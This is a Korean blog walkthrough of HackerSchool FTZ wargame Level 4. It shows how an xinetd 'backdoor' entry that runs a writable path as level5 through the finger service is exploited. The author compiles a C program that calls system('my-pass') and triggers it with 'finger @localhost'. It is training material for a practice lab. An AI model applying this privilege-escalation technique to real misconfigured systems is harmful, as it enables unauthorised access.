e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 1-day
  • BOF
  • X86
  • wargame
  • dvwa
  • dreamhack.io
  • x64
  • how2heap
  • rev-basic
  • Heap

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[HackerSchool] FTZ Level4 풀이

2019. 11. 28. 19:51

 

ID : level4

PW : suck my brain

 

 

LeVeL 4 접속

 

[level4@ftz level4]$ ls -al
total 80
drwxr-xr-x    4 root     level4       4096 May  7  2002 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc
-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs
-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc
-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc
-rw-r--r--    1 root     root           50 Feb 24  2002 hint
-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc
-rw-r--r--    1 root     root          367 Sep 24  2000 .profile
drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level4       4096 Nov 28 19:28 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc
-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

 

 

힌트를 읽습니다.

 

[level4@ftz level4]$ cat hint

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 

 

*백도어란?

시스템 설계자나 관리자에 의해 고의로 남겨진 시스템의 보안 헛점으로 관리자가 응용 프로그램이나 운영체제에 쉽게 접근하기위해 만들어 놓은 뒷문

시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용 프로그램 또는 시스템에 접근 가능

 

 

일단 경로로 가봅시다.

 

[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls

backdoor chargen-udp daytime-udp echo-udp ntalk rlogin rsync services talk time

chargen daytime echo finger rexec rsh servers sgi_fam telnet time-udp

 

 

backdoor 파일이 있습니다. 읽어봅시다.

 

 

[level4@ftz xinetd.d]$ cat backdoor 
service finger 
{
disable = no
flags = REUSE
socket_type = stream        
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}

 

 

finger 서비스를 사용하고,

level5 권한으로 실행할 수 있는 것 같네요!

 

이떄, server의 경로의 파일이 실행됩니다.

 

 

경로로 가봅시다.

 

[level4@ftz xinetd.d]$ cd /home/level4/tmp/

[level4@ftz tmp]$ ls

[level4@ftz tmp]$

 

아무런 파일이 없습니다.

그러면 우리가 직접 backdoor 파일을 만들어줍시다.

 

 

[level4@ftz tmp]$ vi backdoor.c

 

#include <stdio.h>
int main(void){
      system("my-pass");
      return 0;
}

 

만든 C파일을 GCC로 컴파일 합니다.

 

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

 

[level4@ftz tmp]$ ls -al
total 24
drwxrwxr-x    2 root     level4       4096 Nov 28 19:28 .
drwxr-xr-x    4 root     level4       4096 May  7  2002 ..
-rwxrwxr-x    1 level4   level4      11545 Nov 28 19:28 backdoor
-rw-rw-r--    1 level4   level4         68 Nov 28 19:27 backdoor.c

 

생성 완료!

 

 

이제 finger 서비스를 사용하게 되면!

/etc/xinetd.d/backdoor 파일 안에 server의 경로가 실행되면서

level5 의 비밀번호를 얻을 수 있습니다.

 

 

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is 

 

 

성공이다. !-_-!

 

 

+ 패스워드가 나오지 않는다면  'finger @localhost' 명령어를 반복해서 실행시켜보자.

 

 

 

    'Pwnable' 카테고리의 다른 글
    • [HackerSchool] FTZ Level6 풀이
    • [HackerSchool] FTZ Level5 풀이
    • [HackerSchool] FTZ Level3 풀이
    • [HackerSchool] FTZ Level2 풀이
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바